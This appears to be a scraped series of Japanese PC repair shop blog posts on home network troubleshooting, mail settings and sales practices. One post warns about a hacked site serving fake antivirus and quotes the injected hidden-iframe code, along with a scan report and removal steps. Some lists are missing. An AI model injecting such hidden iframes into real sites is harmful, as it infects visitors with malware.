今回は比較的よくお問合わせのある項目である

トラブル発生

「インターネットに繋がらなくなっちゃったんだけど。。。」

という内容。しかし今回はちょっと珍しい事案（？）でした。

この事例の1つをご紹介いたします。

今回は上田市のお客様よりご相談をいただきました。
状況についてお話を聞いてみると

といった状況。

ある程度ネットワーク構築の知識は持っているが今回は解決しないということで弊社にレスキュー依頼が入りました。

現地についてから早速ネットワークの状態を目視確認してみようと思いましたが、
接続はすべて取り外されておりましたのでお客様にお話を伺って状態を確認。

インターネット　－　VDSLモデム　－　(有線)ハブ　－　パソコンなど

という状況だったようです。

インターネット　－　VDSLモデム　－　パソコン

でもダメだったようです。

ネットワークとしては取立てて問題になりそうなところはなさそうですし、元々しばらくは使えていたという状況でもありますので配線の問題は除外できそうです。（モデムのLINK、LINEのランプも正常でした）

ここで一つ疑問が。
機器の結線は問題なさそうで、リンク状態も良さそう。ひかりTVは使えている。
となると・・・プロバイダの契約の問題？　もしくは単にモデムの故障？
ちょうど月をまたいだタイミングでもありますので。。。

ネットに繋がらない

お客様に聞いてみると「口座振替になっているので問題ないと思います」とのこと。
もし支払いで問題があったら催促があるはずですが、「そういったものもない」ということでプロバイダの線は除外されそうでしたので、原因をモデムに絞り詳細検査を進めようとしていると。。。

お客様より衝撃の事実が！
プロバイダ(Yahoo! BB)に確認をとっていただいたところ、口座振替えしているつもりが実はそうなっていなかったようで料金未払いでサービス停止となったことが判明！！！

なんとまぁ、あっけない幕切れとなりました。

ということで、作業的には何もなく、料金のお支払いをお願いして対応完了となりました。

ここで今回の内容をまとめてみます。

快適なパソコンライフ

今回の場合、支払いに関することは奥様がしておられたようなのですが、産休で実家に戻ってしまっているため支払いが止まってしまったようです。
旦那様はてっきり口座振替になっているとばかり思っていたという背景もありサービス停止まで全く未払いに気づかなかったということでした。

インターネット回線の契約とインターネット接続の契約は別になっていることもお客様の混乱の原因になってしまいました。

ひかりTVは使える（＝インターネットに繋がっているはず）、なのにパソコンからはインターネットが繋がらない。。。

契約が別々だからという背景がわかれば切り分けもしやすかったと思いますが、普通の方はそのような認識はまず持っておりませんので仕方のないところだと思います。

同じ状況になることはあまりないと思いますが、参考にしていただければ幸いです。

インターネットの接続がうまくいかない方、調子が悪い方等、何かお困りのことがございましたら、お気軽に弊社までお問い合わせをいただければと思います。

事の始まりはgoogleさんで調べ物をしてたどり着いたGoogle Maniaというサイト。
このサイトではgoogleの各種サービスについて詳しい解説などがされていて、この関係としては結構人気があると思われます。
検索でも最上位に表示されるような状況なので知っている方も多いかもしれません。

改竄されてしまったサイト(Google Mania)

ところがこのサイト長らくメンテナンス等されておらず放置状態となっています。
サイト自体も古いバージョンのCMSが利用されており既知の重大な脆弱性を持っているのですがメンテナンスされていない事もあって、悪意のある第3者によってサイトの改ざんが行われてしまっています。（ざっと確認しましたが全ページ改ざんされているようです）

6月頃に一度改ざんされて攻撃サイトと化してしまっていたようです(ソース)が、改ざんで埋め込まれたサイトが停止された事でいったんは落ち着いたようです。
（サイトメンテナンスによって改ざんされたわけではないようで、脆弱性はそのまま？）

今回2011年8月22日(今日)にアクセスしたわけですが、新しく改ざんされたかもしくは停止されたサイトが復帰したかの理由によりまたしても攻撃サイトと化しています。
しかも現時点(8月22日 17:00)でほとんどのセキュリティーソフトが検知できない新種の偽セキュリティソフトが勝手にPCにインストールされ実行されてしまうという状況なのです。

（改ざんされたサイト）
　Google Mania(ｇｏｏｇｌｅ－ｍａｎｉａ.ｎｅｔ)

（不正コード）
　<div style=”position: absolute; left: -1999px; top: -2999px;”><iframe src=”*ttp://kliemwrznr.co.**/i.php?go=1″ width=”3″ height=”3″></iframe></div>

（ウィルス検査結果）

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
VirSCAN.org Scanned Report :
Scanned time   : 2011/08/22 17:14:43 (JST)
Scanner results: 5% のアンチウイルスが(2/37) マルウェアと判定しました
File Name      : 0.2367670180808894.exe
File Size      : 936448 byte
File Type      : PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5            : 22f95e63e1e109d894149c6b9949d59f
SHA1           : 5e1c325627988ebe86ea3dae280764334442104b
Online report  : http://r.virscan.org/173025f2d056d40ef7d8ff2442d76494

Scanner        Engine Ver      Sig Ver            Scan result
a-squared      5.1.0.3         20110822060411     -
AhnLab V3      2011.08.22.02   2011.08.22         -
AntiVir        8.2.6.32        7.11.13.155        -
Antiy          2.0.18          20110804.11725727  -
Arcavir        2011            201107140423       -
Authentium     5.1.1           201108211932       -
AVAST!         4.7.4           110821-1           Win32:FakeAlert-AZL [Trj]
AVG            8.5.850         271.1.1/3849       -
BitDefender    7.90123.8954708 7.38720            -
ClamAV         0.97.1          13462              -
Comodo         5.1             9829               -
CP Secure      1.3.0.5         2011.08.19         -
Dr.Web         5.0.2.3300      2011.08.22         -
F-Prot         4.6.2.117       20110822           -
F-Secure       7.02.73807      2011.08.22.01      -
Fortinet       4.2.257         13.567             -
GData          22.1742         20110822           -
ViRobot        20110820        2011.08.20         -
Ikarus         T3.1.32.20.0    2011.08.22.79150   -
JiangMin       13.0.900        2011.08.21         -
Kaspersky      5.5.10          2011.08.22         -
KingSoft       2009.2.5.15     2011.8.22.14       -
McAfee         5400.1158       6445               -
Microsoft      1.7604          2011.08.22         -
NOD32          3.0.21          6398               -
Norman         6.07.10         6.07.00            -
Panda          9.05.01         2011.08.21         -
Trend Micro    9.200-1012      8.360.11           -
Quick Heal     11.00           2011.08.20         -
Rising         20.0            23.71.03.03        -
Sophos         3.22.0          4.68               Mal/FakeAV-LX
Sunbelt        3.9.2497.2      10238              -
Symantec       1.3.0.24        20110821.003       -
nProtect       20110821.01     12475755           -
The Hacker     6.7.0.1         v00282             -
VBA32          3.12.16.4       20110821.1017      -
VirusBuster    5.3.0.4         14.0.179.0/5952350 -
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

検出できたものは「Win32:FakeAlert-AZL [Trj]」、「Mal/FakeAV-LX」として発見していますね。

偽セキュリティソフト(Security Protection)ですので自分を棚に上げて存在しないウィルスを大量に発見したかのように振る舞い
駆除するためにお金を払え(ソフトを購入しろ)という動作を行います。
攻撃手法の詳細は分かりませんが危険な状態ですね。

偽セキュリティソフト(Security Protection)

一度感染すると自分以外の常駐プログラムをどんどん強制終了させ、本物のセキュリティソフトも停止させられます。
また、偽セキュリティソフトを終了させようとタスクマネージャー等を立ち上げても強制終了させられてしまいます。
ということで一度動作し出すとシャットダウンするしかなくなります。
（偽セキュリティソフトが動いていますが意味がないですし、他の不正プログラムをネットから引っ張ってくる可能性もあります）

駆除は以下の方法で可能です。（幸い今回のケースは簡単でした）

1. 感染を確認したら即時ネットワーク接続を切断しパソコンをシャットダウンします。
   有線接続の場合はケーブルを抜き、無線接続の場合は電波をOFFにするかアクセスポイントの接続を切断します。
2. 再度電源を入れます。画面に何か表示されたらしばらくF8キーをトントン押し続けて下さい。
   詳細オプションの選択メニュー（またはWindows拡張オプションメニュー）が表示されます。
3. 「セーフモード」を選択してWindowsを起動します。
4. 偽セキュリティソフトの起動を停止
   スタート→すべてのプログラム→スタートアップ→に「Security Protection」という項目があるので
   マウスカーソルがこの上において 右クリック→削除
5. デスクトップのショートカットなどを削除
   デスクトップ上に「Security Protection」というショートカットがあるので削除。
   また、でたらめなファイル名アイコンがある場合はこれも削除（これが偽セキュリティソフトのインストーラーです）。
   

   偽セキュリティソフトのアイコン

6. 偽セキュリティソフト本体を削除

   WindowsVista、7の場合
   　　C:\Users\(ログイン名)\AppData\Roaming\defender.exe

   WindowsXP,2000の場合
   　　C:\Documents and Settings\All Users\Application Data\defender.exe

   が偽セキュリティソフト本体なのでこれを削除

7. 元の状態に戻す
   パソコンを再起動します。
   起動が終わったらネット接続を元に戻します（線を繋ぎ直す、または無線を再接続）。

以上です。
対象の箇所にファイルがない場合はファイル名でパソコン内を検索等してみて下さい。
（数日経てばほとんどのセキュリティソフトで対応できると思いますが。。。）

サイト管理者は自分のサイトに責任を持って管理していただきたいものですね。

昔のようにいわゆる危ないサイトにいかなければウィルスに感染しないという時代はとっくに終わっています。今回のようにウィルス対策ソフトのワクチンが間に合わない場合もありますが、それでも最低限の防御をしてより安全にインターネット等を楽しんでいただければと思います。

自信がない＆原因が違うなどの場合は是非弊社にお預けください！
他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

・Adobe Reader 9.3.4 以前、8.2.4以前
・Adobe Reader 9.3.4 以前、8.2.4以前

の全てのバージョンがアップデート対象となります。（バージョン7以下についてはすでにサポート外）

大変危険な問題を含む23件の脆弱性に対処しているそうです。

これまでもコンピューターウィルスに利用されたりするなどしており、大変危険な問題を解消するものですので対象製品をお使いの方はすぐにでもアップデートをするようにしてください。

まだ、日本語の案内ページはできていないようですが、
ソフトを立ち上げて「ヘルプ」メニューから「アップデートの有無をチェック」に進むと、最新バージョンへ更新できます。

地デジTVでできることはさておき、今回、無線で地デジTVからインターネット接続したいのだがどうしてもつながらないというご相談がありましてサポートをさせていただくことになりましたのでその際の様子をご案内します。

まず今回の状況としては、お客様が試してみた結果は

という状態でした。

次にお客様のご要望として

という2点がありました。

お客様で用意した無線LANルーターは購入したお店に返却してしまったとのことで、弊社で新しいものを用意してお客様宅へ伺いました。

地デジTVと無線LANコンバーターの接続（ここまで有線）、次にコンバータとルーターの接続（無線）を行いTVからインターネット接続をしてみます。

通常であればこれでインターネットが見られるはずなのですが、残念ながら繋がりません。
地デジTVからは「DNSが取得できない」というエラーが返ってきます。
お客様のご報告の通りの状態のようです。

地デジTVと無線LANコンバーター、無線LANコンバーターと無線ルーターの接続は確認していますからそれ以外の部分に問題があることになりますね。

DNSが取得できないのはなぜかを探るため、無線LANルーターに手持ちのノートパソコンを接続してみます。
すると無線はつながるのですがインターネットには接続できません。
IPアドレスは取得できるもののDNS情報がとれません。
試しに直IPでサイトにアクセスしてもアクセスできません。
お客様のパソコンもいつからか無線でインターネットが繋がらなくなってしまっていたようです。

ということは原因は無線LANルーターから上位の機器にあることが確定できました。

ここで無線LANルーターの電源を一旦切って再度電源を入れ直してみます。

　・
　・
　・

はい、問題が解決しました！

　・
　・
　・

えぇ～～～～～っ！なんで～！？」
と思うのが当然の反応でしょう。「んなことあるかいっ！」って思いますよね。

では、問題の原因が何であったか発表しましょう。

それは…「ルーターのソフトウェア（ファームウェアといいます）の暴走」が原因だからなのです。

ですので電源を入れ直すとあら不思議。何事もなかったように直ってしまうのです。
根本原因は直っていないのでまたいつか同じようになる可能性がありますが、これは無線LANのファームウェアが直らない限り対処のしようがないので対策はできません。

使用者はおかしくなったら「とりあえず電源を入切してみる」というのが最良の手段です。

ルーターだけでなくモデムでも同じことが起こることがあります。やはりこの場合も電源の入切。これで解決することが多いのです。

地デジTVもノートパソコンも問題なくインターネット接続ができるようになって本件は無事解決です。

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
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「お問い合わせ」
よりご連絡ください。

さて、弊社とこの地デジ対応テレビは一見関係ないように思われる方もいらっしゃると想像されますが、実は近頃の地デジ対応テレビはアクトビラ(ACTVILA)などに代表されるインターネットサービスに接続ができるモノが多くなっています。
そうなると必然的に弊社のサービス範囲になってくるわけです。
ということで今回はこの地デジテレビ関係の話題を書いてみたいと思います。

代表的な依頼内容としては「地デジテレビでインターネットがしたい」というもの。
この時点で最低限必要な環境は

• インターネット接続対応地上デジタル対応テレビ

  
  参考 ： TOSHIBA LED REGZA 42V型 デジタルフルハイビジョン液晶テレビ 42Z1

  　又は　インターネット接続対応地デジタル対応レコーダー（HDDやブルーレイやDVD等）

  
  参考 ： TOSHIBA VARDIA ハイビジョンレコーダー HDD 2TB RD-X9

• インターネット接続環境（インターネットプロバイダとの契約）
• ルーター

  
  参考 ： BUFFALO 有線BBルータ ハイエンドセキュリティモデル [BBR-4HG]

の3点です。地デジテレビとルーターが物理的に離れていて配線ができず、無線でのインターネット接続にも対応していない場合は

• 無線対応ルーター（上記のルーターを兼ねます）

  
  参考 ： BUFFALO 11n/b/g対応 ハイパワー 無線LANルーター WZR-HP-G301NH

• イーサネットコンバーター

  
  参考 ： BUFFALO 11n/a/g/b LAN端子用無線子機 WLI-TX4-AG300N

という機器も必要になります。

まずはお客様に現在の環境をヒアリングして、追加として必要なモノがあるかどうか。また、その他パソコン等でどのようにインターネットを使っているかなどを調査します。
足りないモノがあったら弊社で準備をしたりお客様にご用意いただいた上で設定にお伺いします。

機器間の相性問題などが発生しなければ通常30分程度でテレビがインターネットに繋がるようになります。

パソコンでは使い方が難しいと感じる方はこのテレビでのインターネットで楽しんでいただければと思います。

弊社ではインターネットへの接続だけでなく、テレビやレコーダーそのものの販売や設置・設定も行わせていただいております。
弊社にお任せいただくことでお客様は何も作業することなく一気に最新の家電環境を手に入れることができます。
もちろん対象商品であればエコポイントもおつけすることができます！

テレビの買い換えをご検討中の方がおられましたら是非お気軽に一声おかけください。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡お待ちしております。

これは、主にプロバイダが導入をしている「OP25B(Outbound Port 25 Blocking)」という仕組みによる原因であることが十中八九当てはまります。

ものすごく簡単いうと「迷惑メールを減らすための仕組み(詳しくはこちらを参照)」であるわけですが、これを実施すると、このれまでの設定ではご利用のプロバイダ以外のメールアドレスによるメールの送信ができなくなってしまいます。
個人の場合はメールアドレスはプロバイダのメールアドレスを使うことが多いため問題は発生しないのですが、企業やホームページをお持ちの方はこれとは違うメールアドレスを使っていることも多く、この場合は設定を変更しないとメールの送信ができなくなってしまうのです。

迷惑メールのためとはいえ不正利用を防止するために正しく利用している人に影響を与えるのはどうにかならないのでしょうかね。。。。

しかもこの切替はお客様曰く「何の連絡もなく突然こんなことされても困る」（無関係の私に言われても困るのですが…）という場合がほとんどで、お客様としては青天の霹靂だったということがものすごく多いのです。。。
さすがに大手のプロバイダなどは多分メールなり、郵便なりで事前に連絡しているとは思うのですがお客様には全く伝わっていないのですね。

ではどうやって送信できるように設定をし直すかということですが、これは各プロバイダのHPに案内がある場合がほとんど。プロバイダ毎に微妙に設定が違うことなどがあるので基本的にはご利用のプロバイダのHPを確認するか、電話でサポートを受けましょう。

サポートを受けてもわからない。やっぱり送信できない。などお困りの方は最後の手段として弊社にご相談ください。
お金はかかってしまいますが担当者がご自宅等に伺い設定を代行させていただきます。

最後に参考程度に弊社のレンタルサーバーをお使いの方向けに作成されている設定方法をリンクしておきます。
もしお使いのプロバイダがわからないとか、設定方法が見つからない場合は、こちらをご覧になって設定をしてみてください。（あくまで参考として）
・メールが受信できるのに送信できません

これについて弊社スタッフの思いの丈を綴るブログ(パソコン修理屋のだべり場)にスタッフKさんから投稿を行いました。
お時間がありましたら一度ご覧になってみてください（是非、ご意見も！）

普段はパソコン・インターネットとは関係のない話をしているブログですが、いろいろと世の中の出来事に辛口トーク（と噂です）しておりますので何かのついでにみていただければ幸いです。

あぁ無線が…

今回はあまりないようで割と良くある事例についてご紹介します。

それは「無線がつながらなくなってしまいました。昨日までは普通に使えていたんですが…」というご相談。

機械的に無線機器が壊れてしまっていた、ということも良くあるのですが、案外多いのが「パソコンの無線機器の電源が切れて」しまっているパターンです。

実は無線機器は放っておいても常に通信をしようと試みているたそれなりに電気を喰ってしまいます。
このためバッテリー駆動などをするノートパソコンなどの携帯型端末では無駄に電気を食わないように、手動で電気を入切することが出来るようになっていることが多いです。
意図せずこの操作をしてしまうと、今度は意図的に電気を入れる操作をしないと無線の電源は落ちたままになってしまいます。

ではどうやって見分けるのか？

それは無線の電源ランプがついているかどうかを見れば良いのです。（機種によってはランプがない場合もありますが…）
点きっぱなしであったり点滅していれば大丈夫。完全に消えてしまっている場合は電源が落ちてしまっているので、電源を入れてあげましょう。

電源の入切の際の一般的な操作方法は

「Fnキー」を押しながら「アンテナのマークのついたキー」を押す

です。（お使いの機種によっては操作方法が違う場合がありますので、上記で操作出来ないときはマニュアル等を見てみて下さい。）
お困りの方は状況を確認し一度対策をお試し下さい。

これにより現状のウィルスに関しては感染を防ぐことが可能となります（その他の攻撃先に脆弱性が残っている場合はそちらも対策しないといけませんが、すでに対策版がリリースされているのですぐに対応可能です）。

最新のバージョン9系(9.3)と一つ前の8系(8.2)アップデートが提供されています。
Adobe Reader や Adobe Acrobat をお使いの方は必ずアップデートを実施しましょう。

・Windows版
・Mac版
・Unix版

なお、7系以前についてはすでにサポート対象外となっているようですのでアップデートは提供されません。
古いバージョンをお使いの方は新しいものにアップグレードすることを強くお勧めします。

HP(ホームページ)の品質やサポートが実際どうであったかなど分からないとはっきりとは断言できないのですが、これって実はこの業界では昔から当たり前のように存在しています。
（同じような営業をしている業者は結構多いのではないでしょうか？）
インターネット（というかコンピューターそのもの）に弱く自分では制作できないからという理由が根底にありますが

電話や営業が突然やってきてすぐにでも契約させようとあの手この手を尽くし相場も内容もよく分からないまま契約。
(とにかく営業がその場で何とか契約までもっていこうとする）

↓

せっかくお金を出しているのだからとHPを変更してみようと思っても結局制作できずあきらめる。。。
（制作ソフトで制作できればそもそもはじめからこのような業者と契約する必要が無い）
ちょっとやる気を出してサポートを受けても結局さっぱり分からない。
(対面ならともかく、電話やメールサポートではほとんどの人は分からない）

↓

何も出来ないのに、リース代金だけは払い続けなければならない。。。

↓

後になってかなり高いお金を支払っていることに気づく。。。
（普通に作れば数十万で十分良い物が作れるのに百万以上支払いがあることも。。。）
HPの更新はしたいのに追加費用は出せないので今はただ何も出来ないHPを眺めるだけ。。。

というお客様を幾度となく見てきました。

はじめから弊社に話をしてくれれば。。。
といつも思いますが突然の強制的な営業は今でもそれなりに効果が出てしまうものなんですね。
（特に田舎だからという部分もあるかもしれませんが。）

• 普段お付き合いのないところからの営業は危険度が高いとみて接する。
• 金額が妥当かどうか他の業者にあたってみる（その場の営業のトークにだまされてはいけません！）
• 分からないことを残したまま契約しない

という当たり前のことですが、実は結構出来ていないことを今一度肝に銘じてみてはいかがでしょうか？

ちなみに弊社はこのような契約では制作していません（詐欺的だと個人的にも思っているので。。。）のでご安心を。